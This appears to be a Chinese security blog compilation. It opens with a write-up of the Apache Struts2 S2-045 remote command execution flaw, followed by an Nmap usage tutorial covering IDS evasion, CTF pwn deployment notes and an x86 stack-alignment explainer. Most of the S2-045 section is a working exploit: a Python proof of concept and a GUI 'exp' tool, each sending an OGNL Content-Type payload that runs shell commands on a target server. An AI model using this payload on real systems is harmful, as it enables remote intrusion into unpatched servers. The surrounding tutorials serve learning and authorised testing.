struts2远程命令执行漏洞S2-045

struts2远程命令执行漏洞S2-045

Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵,漏洞评级为:高危。

漏洞详情:恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。

风险等级:高风险。

漏洞风险:黑客通过利用漏洞可以实现远程命令执行。

影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10。

安全版本:Struts 2.3.32或2.5.10.1。

poc,如下:

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers



def poc():
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
response = urllib2.urlopen(request)
print response.read()

poc()

exp,如下:

#coding:utf-8
import urllib2
from Tkinter import *
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers



class START():

def __init__(self,root):
self.root=root
self.show_W_Text = Text()
self.show_url_ed = Label(root, text="str2")
self.edit_url = Entry(root, text="输入地址")
self.butt_whois = Button(root, text="kill",command=self.poc)
self.show_url_ed.pack()
self.edit_url.pack()
self.butt_whois.pack()
self.show_W_Text.pack()

def poc(self):
w_url = self.edit_url.get()
text = self.show_W_Text
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header[
"User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header[
"Content-Type"] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request(w_url, datagen, headers=header)
response = urllib2.urlopen(request).read()
text.insert(1.0, response)


if __name__ == '__main__':

root=Tk()
root.title("....")
motion=START(root)
mainloop()

修复建议:如您正在使用Jakarta文件上传插件,请升级Struts至安全版本。

nmap使用方法

Nmap扫描原理与用法

1 Nmap介绍

Nmap扫描原理与用法PDF:下载地址

Nmap是一款开源免费的网络发现(Network Discovery)和安全审计(Security Auditing)工具。软件名字Nmap是Network Mapper的简称。Nmap最初是由Fyodor在1997年开始创建的。随后在开源社区众多的志愿者参与下,该工具逐渐成为最为流行安全必备工具之一。最新版的Nmap6.0在2012年5月21日发布,详情请参见:www.nmap.org。

一般情况下,Nmap用于列举网络主机清单、管理服务升级调度、监控主机或服务运行状况。Nmap可以检测目标机是否在线、端口开放情况、侦测运行的服务类型及版本信息、侦测操作系统与设备类型等信息。

Nmap的优点:

1.灵活。支持数十种不同的扫描方式,支持多种目标对象的扫描。

2.强大。Nmap可以用于扫描互联网上大规模的计算机。

3.可移植。支持主流操作系统:Windows/Linux/Unix/MacOS等等;源码开放,方便移植。

4.简单。提供默认的操作能覆盖大部分功能,基本端口扫描nmap targetip,全面的扫描nmap –A targetip。

5.自由。Nmap作为开源软件,在GPL License的范围内可以自由的使用。

6.文档丰富。Nmap官网提供了详细的文档描述。Nmap作者及其他安全专家编写了多部Nmap参考书籍。

7.社区支持。Nmap背后有强大的社区团队支持。

8.赞誉有加。获得很多的奖励,并在很多影视作品中出现(如黑客帝国2、Die Hard4等)。

9.流行。目前Nmap已经被成千上万的安全专家列为必备的工具之一。

1.1 Zenmap

Zenmap是Nmap官方提供的图形界面,通常随Nmap的安装包发布。Zenmap是用Python语言编写而成的开源免费的图形界面,能够运行在不同操作系统平台上(Windows/linux/Unix/Mac OS等)。Zenmap旨在为nmap提供更加简单的操作方式。简单常用的操作命令可以保存成为profile,用户扫描时选择profile即可;可以方便地比较不同的扫描结果;提供网络拓扑结构(NetworkTopology)的图形显示功能。

其中Profile栏位,用于选择“Zenmap默认提供的Profile”或“用户创建的Profile”;Command栏位,用于显示选择Profile对应的命令或者用户自行指定的命令;Topology选项卡,用于显示扫描到的目标机与本机之间的拓扑结构。

1.2 功能架构图

Nmap包含四项基本功能:

主机发现(Host Discovery)

端口扫描(Port Scanning)

版本侦测(Version Detection)

操作系统侦测(Operating System Detection)

而这四项功能之间,又存在大致的依赖关系(通常情况下的顺序关系,但特殊应用另外考虑),首先需要进行主机发现,随后确定端口状况,然后确定端口上运行具体应用程序与版本信息,然后可以进行操作系统的侦测。而在四项基本功能的基础上,Nmap提供防火墙与IDS(IntrusionDetection System,入侵检测系统)的规避技巧,可以综合应用到四个基本功能的各个阶段;另外Nmap提供强大的NSE(Nmap Scripting Language)脚本引擎功能,脚本可以对基本功能进行补充和扩展。

2 Nmap基本扫描方法

Nmap主要包括四个方面的扫描功能,主机发现、端口扫描、应用与版本侦测、操作系统侦测。在详细讲解每个具体功能之前,首先可以看看Nmap的典型用法。

2.1 用法引入

2.1.1 确定端口状况

如果直接针对某台计算的IP地址或域名进行扫描,那么Nmap对该主机进行主机发现过程和端口扫描。该方式执行迅速,可以用于确定端口的开放状况。

命令形式:

nmap targethost

可以确定目标主机在线情况及端口基本状况。

2.1.2 完整全面的扫描

如果希望对某台主机进行完整全面的扫描,那么可以使用nmap内置的-A选项。使用了改选项,nmap对目标主机进行主机发现、端口扫描、应用程序与版本侦测、操作系统侦测及调用默认NSE脚本扫描。

命令形式:

nmap –T4 –A –v targethost

其中-A选项用于使用进攻性(Aggressive)方式扫描;-T4指定扫描过程使用的时序(Timing),总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况良好的情况推荐使用T4;-v表示显示冗余(verbosity)信息,在扫描过程中显示扫描的细节,从而让用户了解当前的扫描状态。

例如,扫描局域网内地址为192.168.1.100的电脑。显而易见,扫描出的信息非常丰富,在对192.168.1.100的扫描报告部分中(以红框圈出),可以看到主机发现的结果“Host is up”;端口扫描出的结果,有996个关闭端口,4个开放端口(在未指定扫描端口时,Nmap默认扫描1000个最有可能开放的端口);而版本侦测针对扫描到的开放状况进一步探测端口上运行的具体的应用程序和版本信息;OS侦测对该目标主机的设备类型与操作系统进行探测;而绿色框图是nmap调用NSE脚本进行进一步的信息挖掘的显示结果。

2.2 主机发现

主机发现(Host Discovery),即用于发现目标主机是否在线(Alive,处于开启状态)。

2.2.1 主机发现原理

主机发现发现的原理与Ping命令类似,发送探测包到目标主机,如果收到回复,那么说明目标主机是开启的。Nmap支持十多种不同的主机探测方式,比如发送ICMP ECHO/TIMESTAMP/NETMASK报文、发送TCPSYN/ACK包、发送SCTP INIT/COOKIE-ECHO包,用户可以在不同的条件下灵活选用不同的方式来探测目标机。

主机发现基本原理:(以ICMP echo方式为例)

Nmap的用户位于源端,IP地址192.168.0.5,向目标主机192.168.0.3发送ICMP Echo Request。如果该请求报文没有被防火墙拦截掉,那么目标机会回复ICMP Echo Reply包回来。以此来确定目标主机是否在线。

默认情况下,Nmap会发送四种不同类型的数据包来探测目标主机是否在线。

  1. ICMP echo request

  2. a TCP SYN packet to port 443

  3. a TCP ACK packet to port 80

  4. an ICMP timestamp request

依次发送四个报文探测目标机是否开启。只要收到其中一个包的回复,那就证明目标机开启。使用四种不同类型的数据包可以避免因防火墙或丢包造成的判断错误。

2.2.2 主机发现的用法

通常主机发现并不单独使用,而只是作为端口扫描、版本侦测、OS侦测先行步骤。而在某些特殊应用(例如确定大型局域网内活动主机的数量),可能会单独专门适用主机发现功能来完成。

不管是作为辅助用法还是专门用途,用户都可以使用Nmap提供的丰富的选项来定制主机发现的探测方式。

[plain]view plaincopy

-sL: List Scan 列表扫描,仅将指定的目标的IP列举出来,不进行主机发现。

-sn: Ping Scan 只进行主机发现,不进行端口扫描。

-Pn: 将所有指定的主机视作开启的,跳过主机发现的过程。

-PS/PA/PU/PY[portlist]: 使用TCPSYN/ACK或SCTP INIT/ECHO方式进行发现。

-PE/PP/PM: 使用ICMP echo, timestamp, and netmask 请求包发现主机。-PO[protocollist]: 使用IP协议包探测对方主机是否开启。

-n/-R: -n表示不进行DNS解析;-R表示总是进行DNS解析。

–dns-servers : 指定DNS服务器。

–system-dns: 指定使用系统的DNS服务器

–traceroute: 追踪每个路由节点

其中,比较常用的使用的是-sn,表示只单独进行主机发现过程;-Pn表示直接跳过主机发现而进行端口扫描等高级操作(如果已经确知目标主机已经开启,可用该选项);-n,如果不想使用DNS或reverse DNS解析,那么可以使用该选项。

2.2.3 使用演示

探测scanme.nmap.org

下面以探测scanme.nmap.org的主机为例,简单演示主机发现的用法。

命令如下:

nmap –sn –PE –PS80,135 –PU53 scanme.nmap.org

使用Wireshark抓包,我们看到,scanme.nmap.org 的IP地址182.140.147.57发送了四个探测包:ICMPEcho,80和135端口的TCP SYN包,53端口的UDP包(DNS domain)。而收到ICMP Echo的回复与80端口的回复。从而确定了scanme.nmap.org主机正常在线。

探测局域网内活动主机

扫描局域网192.168.1.100-192.168.1.120范围内哪些IP的主机是活动的。

命令如下:

nmap –sn 192.168.1.100-120

从结果中,可以看到这个IP范围内有三台主机处于活动状态。

从Wireshark抓取的包中,可以看到发送的探测包的情况:

在局域网内,Nmap是通过ARP包来询问IP地址上的主机是否活动的,如果收到ARP回复包,那么说明主机在线。

例如,某条ARP回复的报文详细信息如下:

2.3 端口扫描

端口扫描是Nmap最基本最核心的功能,用于确定目标主机的TCP/UDP端口的开放情况。

默认情况下,Nmap会扫描1000个最有可能开放的TCP端口。

Nmap通过探测将端口划分为6个状态:

open:端口是开放的。

closed:端口是关闭的。

filtered:端口被防火墙IDS/IPS屏蔽,无法确定其状态。

unfiltered:端口没有被屏蔽,但是否开放需要进一步确定。

open|filtered:端口是开放的或被屏蔽。

closed|filtered :端口是关闭的或被屏蔽。

2.3.1 端口扫描原理

Nmap在端口扫描方面非常强大,提供了十多种探测方式。

2.3.1.1 TCP SYN scanning

这是Nmap默认的扫描方式,通常被称作半开放扫描(Half-open scanning)。该方式发送SYN到目标端口,如果收到SYN/ACK回复,那么判断端口是开放的;如果收到RST包,说明该端口是关闭的。如果没有收到回复,那么判断该端口被屏蔽(Filtered)。因为该方式仅发送SYN包对目标主机的特定端口,但不建立的完整的TCP连接,所以相对比较隐蔽,而且效率比较高,适用范围广。

TCP SYN探测到端口关闭:

TCP SYN探测到端口开放:

2.3.1.2 TCP connect scanning

TCP connect方式使用系统网络API connect向目标主机的端口发起连接,如果无法连接,说明该端口关闭。该方式扫描速度比较慢,而且由于建立完整的TCP连接会在目标机上留下记录信息,不够隐蔽。所以,TCP connect是TCP SYN无法使用才考虑选择的方式。

TCP connect探测到端口关闭:

TCP connect探测到端口开放:

2.3.1.3 TCP ACK scanning

向目标主机的端口发送ACK包,如果收到RST包,说明该端口没有被防火墙屏蔽;没有收到RST包,说明被屏蔽。该方式只能用于确定防火墙是否屏蔽某个端口,可以辅助TCP SYN的方式来判断目标主机防火墙的状况。

TCP ACK探测到端口被屏蔽:

TCP ACK探测到端口未被屏蔽:

2.3.1.4 TCP FIN/Xmas/NULL scanning

这三种扫描方式被称为秘密扫描(Stealthy Scan),因为相对比较隐蔽。FIN扫描向目标主机的端口发送的TCP FIN包或Xmas tree包/Null包,如果收到对方RST回复包,那么说明该端口是关闭的;没有收到RST包说明端口可能是开放的或被屏蔽的(open|filtered)。

其中Xmas tree包是指flags中FIN URG PUSH被置为1的TCP包;NULL包是指所有flags都为0的TCP包。

TCP FIN探测到主机端口是关闭的:

TCP FIN探测到主机端口是开放或屏蔽的:

2.3.1.5 UDP scanning

UDP扫描方式用于判断UDP端口的情况。向目标主机的UDP端口发送探测包,如果收到回复“ICMP port unreachable”就说明该端口是关闭的;如果没有收到回复,那说明UDP端口可能是开放的或屏蔽的。因此,通过反向排除法的方式来断定哪些UDP端口是可能出于开放状态。

UDP端口关闭:

UDP端口开放或被屏蔽:

2.3.1.6 其他方式

除上述几种常用的方式之外,Nmap还支持多种其他探测方式。例如使用SCTP INIT/COOKIE-ECHO方式来探测SCTP的端口开放情况;使用IP protocol方式来探测目标主机支持的协议类型(TCP/UDP/ICMP/SCTP等等);使用idle scan方式借助僵尸主机(zombie host,也被称为idle host,该主机处于空闲状态并且它的IPID方式为递增。详细实现原理参见:http://nmap.org/book/idlescan.html)来扫描目标在主机,达到隐蔽自己的目的;或者使用FTP bounce scan,借助FTP允许的代理服务扫描其他的主机,同样达到隐藏自己的身份的目的。

2.3.2 端口扫描用法

端口扫描用法比较简单,Nmap提供丰富的命令行参数来指定扫描方式和扫描端口。

具体可以参见如下描述。

2.3.2.1 扫描方式选项

[plain]view plaincopy

-sS/sT/sA/sW/sM:指定使用 TCP SYN/Connect()/ACK/Window/Maimon scans的方式来对目标主机进行扫描。

-sU: 指定使用UDP扫描方式确定目标主机的UDP端口状况。

-sN/sF/sX: 指定使用TCP Null, FIN, and Xmas scans秘密扫描方式来协助探测对方的TCP端口状态。

–scanflags : 定制TCP包的flags。

-sI : 指定使用idle scan方式来扫描目标主机(前提需要找到合适的zombie host)

-sY/sZ: 使用SCTP INIT/COOKIE-ECHO来扫描SCTP协议端口的开放的情况。

-sO: 使用IP protocol 扫描确定目标机支持的协议类型。

-b : 使用FTP bounce scan扫描方式

2.3.2.2 端口参数与扫描顺序

[plain]view plaincopy

-p : 扫描指定的端口

实例: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9(其中T代表TCP协议、U代表UDP协议、S代表SCTP协议)

-F: Fast mode – 快速模式,仅扫描TOP 100的端口

-r: 不进行端口随机打乱的操作(如无该参数,nmap会将要扫描的端口以随机顺序方式扫描,以让nmap的扫描不易被对方防火墙检测到)。

–top-ports :扫描开放概率最高的number个端口(nmap的作者曾经做过大规模地互联网扫描,以此统计出网络上各种端口可能开放的概率。以此排列出最有可能开放端口的列表,具体可以参见文件:nmap-services。默认情况下,nmap会扫描最有可能的1000个TCP端口)

–port-ratio : 扫描指定频率以上的端口。与上述–top-ports类似,这里以概率作为参数,让概率大于–port-ratio的端口才被扫描。显然参数必须在在0到1之间,具体范围概率情况可以查看nmap-services文件。

2.3.3 端口扫描演示

这里,我们以扫描局域网内192.168.1.100主机为例。

命令如下:

nmap –sS –sU –T4 –top-ports 300 192.168.1.100

参数-sS表示使用TCP SYN方式扫描TCP端口;-sU表示扫描UDP端口;-T4表示时间级别配置4级;–top-ports 300表示扫描最有可能开放的300个端口(TCP和UDP分别有300个端口)。

从上图中,我们看到扫描结果,横线处写明有共有589端口是关闭的;红色框图中列举出开放的端口和可能是开放的端口。

2.4 版本侦测

版本侦测,用于确定目标主机开放端口上运行的具体的应用程序及版本信息。

Nmap提供的版本侦测具有如下的优点:

高速。并行地进行套接字操作,实现一组高效的探测匹配定义语法。

尽可能地确定应用名字与版本名字。

支持TCP/UDP协议,支持文本格式与二进制格式。

支持多种平台服务的侦测,包括Linux/Windows/Mac OS/FreeBSD等系统。

如果检测到SSL,会调用openSSL继续侦测运行在SSL上的具体协议(如HTTPS/POP3S/IMAPS)。

如果检测到SunRPC服务,那么会调用brute-force RPC grinder进一步确定RPC程序编号、名字、版本号。

支持完整的IPv6功能,包括TCP/UDP,基于TCP的SSL。

通用平台枚举功能(CPE)

广泛的应用程序数据库(nmap-services-probes)。目前Nmap可以识别几千种服务的签名,包含了180多种不同的协议。

2.4.1 版本侦测原理

简要的介绍版本的侦测原理。

版本侦测主要分为以下几个步骤:

首先检查open与open|filtered状态的端口是否在排除端口列表内。如果在排除列表,将该端口剔除。

如果是TCP端口,尝试建立TCP连接。尝试等待片刻(通常6秒或更多,具体时间可以查询文件nmap-services-probes中Probe TCP NULL q||对应的totalwaitms)。通常在等待时间内,会接收到目标机发送的“WelcomeBanner”信息。nmap将接收到的Banner与nmap-services-probes中NULL probe中的签名进行对比。查找对应应用程序的名字与版本信息。

如果通过“Welcome Banner”无法确定应用程序版本,那么nmap再尝试发送其他的探测包(即从nmap-services-probes中挑选合适的probe),将probe得到回复包与数据库中的签名进行对比。如果反复探测都无法得出具体应用,那么打印出应用返回报文,让用户自行进一步判定。

如果是UDP端口,那么直接使用nmap-services-probes中探测包进行探测匹配。根据结果对比分析出UDP应用服务类型。

如果探测到应用程序是SSL,那么调用openSSL进一步的侦查运行在SSL之上的具体的应用类型。

如果探测到应用程序是SunRPC,那么调用brute-force RPC grinder进一步探测具体服务。

2.4.2 版本侦测的用法

版本侦测方面的命令行选项比较简单。

[plain]view plaincopy

-sV: 指定让Nmap进行版本侦测

–version-intensity : 指定版本侦测强度(0-9),默认为7。数值越高,探测出的服务越准确,但是运行时间会比较长。

–version-light: 指定使用轻量侦测方式 (intensity 2)

–version-all: 尝试使用所有的probes进行侦测 (intensity 9)

–version-trace: 显示出详细的版本侦测过程信息。

2.4.3 版本侦测演示

命令:

nmap –sV 192.168.1.100

对主机192.168.1.100进行版本侦测。

从结果中,我们可以看到996个端口是关闭状态,对于4个open的端口进行版本侦测。图中红色为版本信息。红色线条划出部分是版本侦测得到的附加信息,因为从应用中检测到微软特定的应用服务,所以推断出对方运行的Windows的操作系统。

2.5 OS侦测

操作系统侦测用于检测目标主机运行的操作系统类型及设备类型等信息。

Nmap拥有丰富的系统数据库nmap-os-db,目前可以识别2600多种操作系统与设备类型。

2.5.1 OS侦测原理

Nmap使用TCP/IP协议栈指纹来识别不同的操作系统和设备。在RFC规范中,有些地方对TCP/IP的实现并没有强制规定,由此不同的TCP/IP方案中可能都有自己的特定方式。Nmap主要是根据这些细节上的差异来判断操作系统的类型的。

具体实现方式如下:

Nmap内部包含了2600多已知系统的指纹特征(在文件nmap-os-db文件中)。将此指纹数据库作为进行指纹对比的样本库。

分别挑选一个open和closed的端口,向其发送经过精心设计的TCP/UDP/ICMP数据包,根据返回的数据包生成一份系统指纹。

将探测生成的指纹与nmap-os-db中指纹进行对比,查找匹配的系统。如果无法匹配,以概率形式列举出可能的系统。

2.5.2 OS侦测用法

OS侦测的用法简单,Nmap提供的命令比较少。

[plain]view plaincopy

-O: 指定Nmap进行OS侦测。

–osscan-limit: 限制Nmap只对确定的主机的进行OS探测(至少需确知该主机分别有一个open和closed的端口)。

–osscan-guess: 大胆猜测对方的主机的系统类型。由此准确性会下降不少,但会尽可能多为用户提供潜在的操作系统。

2.5.3 OS侦测演示

命令:

nmap –O 192.168.1.100

从上图中可看到,指定-O选项后先进行主机发现与端口扫描,根据扫描到端口来进行进一步的OS侦测。获取的结果信息有设备类型,操作系统类型,操作系统的CPE描述,操作系统细节,网络距离等。

3 Nmap高级用法

3.1 防火墙/IDS规避

防火墙与IDS规避为用于绕开防火墙与IDS(入侵检测系统)的检测与屏蔽,以便能够更加详细地发现目标主机的状况。

Nmap提供了多种规避技巧,通常可以从两个方面考虑规避方式:数据包的变换(Packet Change)与时序变换(Timing Change)。

3.1.1 规避原理

3.1.1.1 分片(Fragmentation)

将可疑的探测包进行分片处理(例如将TCP包拆分成多个IP包发送过去),某些简单的防火墙为了加快处理速度可能不会进行重组检查,以此避开其检查。

3.1.1.2 IP诱骗(IP decoys)

在进行扫描时,将真实IP地址和其他主机的IP地址(其他主机需要在线,否则目标主机将回复大量数据包到不存在的主机,从而实质构成了拒绝服务攻击)混合使用,以此让目标主机的防火墙或IDS追踪检查大量的不同IP地址的数据包,降低其追查到自身的概率。注意,某些高级的IDS系统通过统计分析仍然可以追踪出扫描者真实IP地址。

3.1.1.3 IP伪装(IP Spoofing)

顾名思义,IP伪装即将自己发送的数据包中的IP地址伪装成其他主机的地址,从而目标机认为是其他主机在与之通信。需要注意,如果希望接收到目标主机的回复包,那么伪装的IP需要位于统一局域网内。另外,如果既希望隐蔽自己的IP地址,又希望收到目标主机的回复包,那么可以尝试使用idle scan或匿名代理(如TOR)等网络技术。

3.1.1.4 指定源端口

某些目标主机只允许来自特定端口的数据包通过防火墙。例如FTP服务器配置为:允许源端口为21号的TCP包通过防火墙与FTP服务端通信,但是源端口为其他端口的数据包被屏蔽。所以,在此类情况下,可以指定Nmap将发送的数据包的源端口都设置特定的端口。

3.1.1.5 扫描延时

某些防火墙针对发送过于频繁的数据包会进行严格的侦查,而且某些系统限制错误报文产生的频率(例如,Solaris 系统通常会限制每秒钟只能产生一个ICMP消息回复给UDP扫描),所以,定制该情况下发包的频率和发包延时可以降低目标主机的审查强度、节省网络带宽。

3.1.1.6 其他技术

Nmap还提供多种规避技巧,比如指定使用某个网络接口来发送数据包、指定发送包的最小长度、指定发包的MTU、指定TTL、指定伪装的MAC地址、使用错误检查和(badchecksum)。

更多信息http://nmap.org/book/man-bypass-firewalls-ids.html

3.1.2 规避用法

[plain]view plaincopy

-f; –mtu : 指定使用分片、指定数据包的MTU.

-D : 用一组IP地址掩盖真实地址,其中ME填入自己的IP地址。

-S : 伪装成其他IP地址

-e : 使用特定的网络接口

-g/–source-port : 使用指定源端口

–data-length : 填充随机数据让数据包长度达到Num。

–ip-options : 使用指定的IP选项来发送数据包。

–ttl : 设置time-to-live时间。

–spoof-mac : 伪装MAC地址

–badsum: 使用错误的checksum来发送数据包(正常情况下,该类数据包被抛弃,如果收到回复,说明回复来自防火墙或IDS/IPS)。

3.1.3 规避演示

使用命令:

nmap -v -F -Pn -D192.168.1.100,192.168.1.102,ME -e eth0 -g 3355 192.168.1.1

其中,-F表示快速扫描100个端口;-Pn表示不进行Ping扫描;-D表示使用IP诱骗方式掩盖自己真实IP(其中ME表示自己IP);-e eth0表示使用eth0网卡发送该数据包;-g 3355表示自己的源端口使用3355;192.168.1.1是被扫描的目标IP地址。

我们可以从Wireshark中看到数据包的流动情况:对于每个探测包,Nmap都使用-D选项指定的IP地址发送不同的数据包,从而达到扰乱对方防火墙/IDS检查的目的(更好的方式-D选项中嵌入RND随机数,这样更具有迷惑性)。当探测到80端口时候,目标主机向我们回复了SYN/ACK包回来(当然也向其他诱骗的IP回复SYN/ACK包,我们无法接收到),证明80端口是开放的。

3.2 NSE脚本引擎

NSE脚本引擎(Nmap Scripting Engine)是Nmap最强大最灵活的功能之一,允许用户自己编写脚本来执行自动化的操作或者扩展Nmap的功能。

NSE使用Lua脚本语言,并且默认提供了丰富的脚本库,目前已经包含14个类别的350多个脚本。

NSE的设计初衷主要考虑以下几个方面:

网络发现(Network Discovery)

更加复杂的版本侦测(例如skype软件)

漏洞侦测(Vulnerability Detection)

后门侦测(Backdoor Detection)

漏洞利用(Vulnerability Exploitation)

3.2.1 NSE创建脚本方法

下面以daytime.nse脚本为例说明一下NSE格式。

NSE的使用Lua脚本,并且配置固定格式,以减轻用户编程负担。通常的一个脚本分为几个部分:

description字段:描述脚本功能的字符串,使用双层方括号表示。

comment字段:以–开头的行,描述脚本输出格式

author字段:描述脚本作者

license字段:描述脚本使用许可证,通常配置为Nmap相同的license

categories字段:描述脚本所属的类别,以对脚本的调用进行管理。

rule字段:描述脚本执行的规则,也就是确定触发脚本执行的条件。在Nmap中有四种类型的规则,prerule用于在Nmap没有执行扫描之前触发脚本执行,这类脚本并不需用到任何Nmap扫描的结果;hostrule用在Nmap执行完毕主机发现后触发的脚本,根据主机发现的结果来触发该类脚本;portrule用于Nmap执行端口扫描或版本侦测时触发的脚本,例如检测到某个端口时触发某个脚本执行以完成更详细的侦查。postrule用于Nmap执行完毕所有的扫描后,通常用于扫描结果的数据提取和整理。在上述实例中,只有一个portrule,说明该脚本在执行端口扫描后,若检测到TCP 13号端口开放,那么触发该脚本的执行。

action字段:脚本执行的具体内容。当脚本通过rule字段的检查被触发执行时,就会调用action字段定义的函数。

3.2.2 NSE脚本用法

Nmap提供不少脚本使用的命令行参数。

[plain]view plaincopy

-sC: 等价于 –script=default,使用默认类别的脚本进行扫描。

–script=: 使用某个或某类脚本进行扫描,支持通配符描述

–script-args=: 为脚本提供默认参数

–script-args-file=filename: 使用文件来为脚本提供参数

–script-trace: 显示脚本执行过程中发送与接收的数据

–script-updatedb: 更新脚本数据库

–script-help=: 显示脚本的帮助信息,其中部分可以逗号分隔的文件或脚本类别。

3.2.3 NSE用法演示

配合脚本扫描192.168.1.1,查看能否获得有用的信息。

命令如下:

nmap –sV –p 80 –v –script default,http*192.168.1.1

从上图中,我们可以看到Nmap扫描到对方80端口是开放的,然后使用了大量的名字为http开头的脚本对其进行扫描。扫描过程发现在http-auth脚本执行,出现了“Basic relm=TP-LINK Wireless N router WR740”字样(红线划出部分),这里已经挖掘对方的设备类型与具体版本信息。如果我们知道更多关于WR740已知的漏洞,那么就可以进行更进一步的渗透测试了。

4 参考资料

4.1 书籍

Nmap Network Scanning

Nmap创始人Fyodor编写的Nmap的权威指南,非常详尽地描述Nmap的实现原理及使用方法。Nmap官方文档正是来自该书部分章节。

Secrets of Network Cartography

该书对Nmap的实现原理及使用场景有比较丰富的介绍。

Nmap in the Enterprise: Your Guide to Network Scanning

这本书描述Nmap在企业领域的运用。

Nmap mindmap.pdf

这nmap使用方法的思维导图(一页纸的图片),对Nmap用法整理很完整。

4.2 网站

官网:www.nmap.org

安全工具排名:http://sectools.org/

如何搭建Pwn利用环境

前人栽树,后人乘凉

socat 使用方法

socat 简介

本身socat是加强版的nc工具,可以借助nc获得本地测试的TCP、UDP接口,主要用于Pwn题目的部署工作,方便重启

安装socat工具

在ubuntu 16.04 安装socat工具,直接使用apt-get即可(记得保证权限满足):

sudo apt-get install socat

运行命令:

socat TCP-LISTEN:4444,REUSEADDR,FORK EXEC:./xxxxxxxx

xxxx表示文件路径

xinetd方法

  1. 安装

    1
    sudo apt-get install xinetd
  2. 设置启动模板

1
2
3
4
5
6
7
8
9
10
11
/etc/services 下先添加自己的服务端口信息 
/etc/xinetd.d/ 下添加自己的服务
service pwn_test
{
disable = no //打开
port = 10002
socket_type = stream
server = 【filepath】
wait = no
user = pwn_user
}

简单方法,docker部署方式,主要用于正式CTF比赛

docker方式部署主要用于正式比赛需要部署多台虚拟机的场景,而且可以通过控制虚拟机资源进行管理。
存在不足:
(1)docker虚拟机资源有限,可能带来性能问题,特别是大规模访问场景下;
(2)docker版本如果存在本地逃逸漏洞,可以导致打穿docker主进程获得“上帝”视角,对办比赛就十分不友好;
(3)docker可以有效限制权限等问题,但是对于kernel类型题目还是不太适合。

二进制文件中堆栈对齐问题初探

明白程序的执行逻辑

链接如下,问题是:

stackoverflow

  在程序开始运行前,都有对临时环境变量保存的习惯,这个操作在x86体系下是对堆栈进行操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
8048394:8d 4c 24 04  lea0x4(%esp),%ecx  ; ??
8048398:83 e4 f0 and$0xfffffff0,%esp; ??
804839b:ff 71 fc pushl -0x4(%ecx) ; ??
804839e:55 push %ebp; Store the Base pointer
804839f:89 e5mov%esp,%ebp ; Initialize the Base pointer with the stack pointer
80483a1:51 push %ecx; ??
80483a2:83 ec 4c sub$0x4c,%esp ; ??
80483a5:c7 45 f8 0c 00 00 00 movl $0xc,-0x8(%ebp) ; Move 12 into -0x8(%ebp)
80483ac:c7 45 f4 14 00 00 00 movl $0x14,-0xc(%ebp); Move 20 into -0xc(%ebp)
80483b3:8b 45 f8 mov-0x8(%ebp),%eax ; Move 12@-0x8(%ebp) into eax
80483b6:83 c0 7b add$0x7b,%eax ; Add 123 to 12@eax
80483b9:89 45 f4 mov%eax,-0xc(%ebp) ; Store the result into b@-0xc(%ebp)
80483bc:b8 00 00 00 00 mov$0x0,%eax ; Move 0 into eax
80483c1:83 c4 10 add$0x10,%esp ; ??
80483c4:59 pop%ecx; ??
80483c5:5d pop%ebp; ??
80483c6:8d 61 fc lea-0x4(%ecx),%esp ; ??

Understanding the purpose of some assembly statements
如何理解?

and $0xfffffff0,%esp 

官方给出的解释是:

This code makes sure that the stack is aligned to 16 bytes. After this operation esp will be less than or equal to what it was before this operation, so the stack may grow, which protects anything that might already be on the stack. This is sometimes done in main just in case the function is called with an unaligned stack, which can cause things to be really slow (16 byte is a cache line width on x86, I think, though 4 byte alignment is what is really important here). If main has a unaligned stack the rest of the program will too.

总的来说就是为了对齐

